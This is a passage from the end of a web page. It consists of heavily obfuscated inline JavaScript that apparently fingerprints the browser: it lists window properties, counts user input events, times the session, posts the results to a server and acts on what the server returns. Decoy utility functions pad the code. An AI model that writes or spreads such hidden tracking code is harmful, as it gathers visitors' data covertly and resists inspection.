j2tRUWQ=(g3Gld7J&FZHYVb[0x23])+(_PoKZj&FZHYVb[0x23]),R_2lkdW;R_2lkdW=(g3Gld7J>>FZHYVb[0x12])+(_PoKZj>>FZHYVb[0x12])+(j2tRUWQ>>FZHYVb[0x12]);return R_2lkdW<<FZHYVb[0x12]|j2tRUWQ&FZHYVb[0x23]}return{hex:R_2lkdW,b64:Umd97Q,any:dNiP0ow,hex_hmac:FUaXU5,b64_hmac:Umd97Q,any_hmac:dNiP0ow}}();console.log(g3Gld7J)}N4W9hYK(ypO47D=cUL0VT(),io4LB2P(_PoKZj(0x75),{[_PoKZj(0x76)]:Umd97Q,u:window[_PoKZj(0x77)][_PoKZj(0x78)],[_PoKZj(0x79)]:Object[_PoKZj(0x7a)](window)[_PoKZj(0x7b)](g3Gld7J=>{function j2tRUWQ(g3Gld7J){var j2tRUWQ="c<4qPL\"0VgNYun&kD!C,RMy%=pJG+:_IQ~1;#lrb9[vs({/maS67.U2W`fFO^35}w]|>X$HExBKz?@i8*h)AjZodetT",MSUxhJ2,_PoKZj,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),_PoKZj=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<_PoKZj;eS9fQMb++){var Umd97Q=j2tRUWQ.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function MSUxhJ2(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=j2tRUWQ(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}return g3Gld7J[FZHYVb[0x0]]===g3Gld7J[FZHYVb[0x0]][_PoKZj(0x7c)]()&&!g3Gld7J[MSUxhJ2(0x7d)]("on")})})[_PoKZj(0x7e)](g3Gld7J=>{const j2tRUWQ=JSON[_PoKZj(FZHYVb[0x19])](g3Gld7J);N4W9hYK(z12fX0=cUL0VT(),FUaXU5=j2tRUWQ[_PoKZj(FZHYVb[0x1b])],j2tRUWQ[FZHYVb[0x24]]&&WuMNj_9(j2tRUWQ[FZHYVb[0x24]]))})[_PoKZj(0x81)](()=>{return FZHYVb[0x0]}))},0x1f4);let C1tndH=!FZHYVb[0x1],lwkZPmj=FZHYVb[0x0],HwsNDHD=FZHYVb[0x0];N4W9hYK(document[_PoKZj(FZHYVb[0x25])](_PoKZj(0x83),g3Gld7J=>{return g3Gld7J[_PoKZj(0x84)]&&lwkZPmj++}),document[_PoKZj(FZHYVb[0x25])](_PoKZj(0x85),g3Gld7J=>{function _PoKZj(g3Gld7J){var _PoKZj="MDkWPsZxhR*n!{lb&XKQ4)}tA;J`H@?:UVY.5fc3,(dp%IjwFE=>r08NiBSGev|TL2]mgCu1O#q/o~_<\"+[za$9^6y7",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function MSUxhJ2(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=_PoKZj(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}return g3Gld7J[MSUxhJ2(0x86)]&&HwsNDHD++}),window[_PoKZj(0x87)]={["cl"](g3Gld7J,_PoKZj,MSUxhJ2){function j2tRUWQ(g3Gld7J){var _PoKZj="&ahkiHERUSKjYLgc/^D!lGu#txr@z\",[5JV3qP9>1om8_F?|=.{~INpOWQsd0nZ+;27T6vCywb$f)}<4*]X(%BMA`e:",j2tRUWQ,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5,eS9fQMb,Umd97Q;N4W9hYK(j2tRUWQ=""+(g3Gld7J||""),R_2lkdW=j2tRUWQ.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],FUaXU5=FZHYVb[0x0],eS9fQMb=-FZHYVb[0x1]);for(Umd97Q=FZHYVb[0x0];Umd97Q<R_2lkdW;Umd97Q++){var RpmYYq=_PoKZj.indexOf(j2tRUWQ[Umd97Q]);if(RpmYYq===-FZHYVb[0x1])continue;if(eS9fQMb<FZHYVb[0x0]){eS9fQMb=RpmYYq}else{N4W9hYK(eS9fQMb+=RpmYYq*FZHYVb[0xc],nco7OV|=eS9fQMb<<FUaXU5,FUaXU5+=(eS9fQMb&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],FUaXU5-=FZHYVb[0x2])}while(FUaXU5>FZHYVb[0x9]);eS9fQMb=-FZHYVb[0x1]}}if(eS9fQMb>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|eS9fQMb<<FUaXU5)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function R_2lkdW(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=j2tRUWQ(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}document[R_2lkdW(0x88)](g3Gld7J)?.addEventListener(R_2lkdW(0x89),()=>{if(C1tndH){function g3Gld7J(g3Gld7J){var j2tRUWQ="W#8w_%/Ku4E&=?{pVFQJa}:6g\"DOG0kLx.o)U[<hj$2(ClR~B5S]XcI+ey`H7>|M;rsbAz*31vNf,PtTYimnZd@^9q!",eS9fQMb,RpmYYq,_PoKZj,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5;N4W9hYK(eS9fQMb=""+(g3Gld7J||""),RpmYYq=eS9fQMb.length,_PoKZj=[],R_2lkdW=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(FUaXU5=FZHYVb[0x0];FUaXU5<RpmYYq;FUaXU5++){var Umd97Q=j2tRUWQ.indexOf(eS9fQMb[FUaXU5]);if(Umd97Q===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=Umd97Q}else{N4W9hYK(nco7OV+=Umd97Q*FZHYVb[0xc],R_2lkdW|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(_PoKZj.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){_PoKZj.push((R_2lkdW|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(_PoKZj)}function j2tRUWQ(j2tRUWQ){if(typeof rxdmS4[j2tRUWQ]===FZHYVb[0x5]){return rxdmS4[j2tRUWQ]=g3Gld7J(FlCAu25[j2tRUWQ])}return rxdmS4[j2tRUWQ]}if(j2tRUWQ(0x8a)in xEv0OAf){eS9fQMb()}function eS9fQMb(){}return}C1tndH=!FZHYVb[0x0];const RpmYYq=cUL0VT();N4W9hYK(Q4sOnFn[R_2lkdW(0x8b)](nco7OV,RpmYYq+ZkiMN6J*FZHYVb[0x15]+""),setTimeout(()=>{function g3Gld7J(g3Gld7J){var j2tRUWQ="BgJTpWQAlCa0:F_8If{~zH64=P#<e*`bm>R)dDXGq3/ZSM5K@j[r,(Uu!.?n7sxEN$|9v^kYhiLV&Ot1o2+%\"yw;}]c",eS9fQMb,RpmYYq,_PoKZj,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5;N4W9hYK(eS9fQMb=""+(g3Gld7J||""),RpmYYq=eS9fQMb.length,_PoKZj=[],R_2lkdW=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(FUaXU5=FZHYVb[0x0];FUaXU5<RpmYYq;FUaXU5++){var Umd97Q=j2tRUWQ.indexOf(eS9fQMb[FUaXU5]);if(Umd97Q===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=Umd97Q}else{N4W9hYK(nco7OV+=Umd97Q*FZHYVb[0xc],R_2lkdW|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(_PoKZj.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){_PoKZj.push((R_2lkdW|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(_PoKZj)}function j2tRUWQ(j2tRUWQ){if(typeof rxdmS4[j2tRUWQ]===FZHYVb[0x5]){return rxdmS4[j2tRUWQ]=g3Gld7J(FlCAu25[j2tRUWQ])}return rxdmS4[j2tRUWQ]}return io4LB2P(R_2lkdW(0x8c),{[R_2lkdW(0x8d)]:FUaXU5,[j2tRUWQ(0x8e)]:Umd97Q,[j2tRUWQ(0x8f)]:z12fX0-ypO47D,mm:lwkZPmj,dc:HwsNDHD,fk:_PoKZj,[j2tRUWQ(0x90)]:!document[j2tRUWQ(0x91)]&&document[j2tRUWQ(0x92)](),ms:RpmYYq-z12fX0})[j2tRUWQ(0x93)](g3Gld7J=>{return g3Gld7J&&setTimeout(()=>{return WuMNj_9(g3Gld7J)},MSUxhJ2?MSUxhJ2-(cUL0VT()-RpmYYq):FZHYVb[0x0])})[j2tRUWQ(0x94)](()=>{return FZHYVb[0x0]})},FZHYVb[0x20]))})},ch:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="<VEArB@_XFT\"s?]ok[u(>n}*vH,wC`8{xyZLd6J|.+Pj1U5m:tQcR0IM)a$bp723D^4;if9gW=N&GSK~hOY%ze!#/ql",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}return io4LB2P(_PoKZj(0x95),{[_PoKZj(0x96)]:FUaXU5,[_PoKZj(0x97)]:Umd97Q})[_PoKZj(0x98)](g3Gld7J=>{return Number(g3Gld7J)===FZHYVb[0x1]})},bl:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="e9dkCH|]UEmqL6x+=g_,nNPQbIKG<iB/pD@0VWoMh^>cS)Tr&[A4ZROYFsw3J7f\"Xj:.#l5ayv(!}$`u{%1;*2?~8zt",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}if(_PoKZj(0x99)in xEv0OAf){MSUxhJ2()}function MSUxhJ2(){function g3Gld7J(g3Gld7J){var _PoKZj="`AKIOT7pBc0Jl#_d3s~,%4i5Hb1uQZSw)M8]@za2FV?$vLgWXmof<h+}jUCr:[&PyG!.t9{6*/D>Nex^(=Ekn\"|;RqY",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}function MSUxhJ2(g3Gld7J){const _PoKZj={};for(let MSUxhJ2 of g3Gld7J.replace(/[^w]/g,"").toLowerCase())_PoKZj[MSUxhJ2]=_PoKZj[MSUxhJ2]+FZHYVb[0x1]||FZHYVb[0x1];return _PoKZj}function j2tRUWQ(g3Gld7J,_PoKZj){const MSUxhJ2=buildCharMap(g3Gld7J),j2tRUWQ=buildCharMap(_PoKZj);for(let Q4sOnFn in MSUxhJ2)if(MSUxhJ2[Q4sOnFn]!==j2tRUWQ[Q4sOnFn]){return FZHYVb[0x26]}if(Object.keys(MSUxhJ2).length!==Object.keys(j2tRUWQ).length){return FZHYVb[0x26]}return!0x0}function Q4sOnFn(g3Gld7J){const _PoKZj=nco7OV(g3Gld7J);return _PoKZj!==0x1/0x0}function nco7OV(g3Gld7J){if(!g3Gld7J){return-FZHYVb[0x1]}const _PoKZj=nco7OV(g3Gld7J.left),MSUxhJ2=nco7OV(g3Gld7J.right),j2tRUWQ=Math.abs(_PoKZj-MSUxhJ2);if(_PoKZj===0x1/0x0||MSUxhJ2===0x1/0x0||j2tRUWQ>FZHYVb[0x1]){return 0x1/0x0}const Q4sOnFn=Math.max(_PoKZj,MSUxhJ2)+FZHYVb[0x1];return Q4sOnFn}window[_PoKZj(0x9a)]={buildCharacterMap:MSUxhJ2,isAnagrams:j2tRUWQ,isBalanced:Q4sOnFn,getHeightBalanced:nco7OV}}return io4LB2P(_PoKZj(0x9b),{[_PoKZj(0x9c)]:FUaXU5,[_PoKZj(0x9d)]:Umd97Q})[_PoKZj(0x9e)](()=>{})}})}g3Gld7J()})();
</script>

</body>
</html>
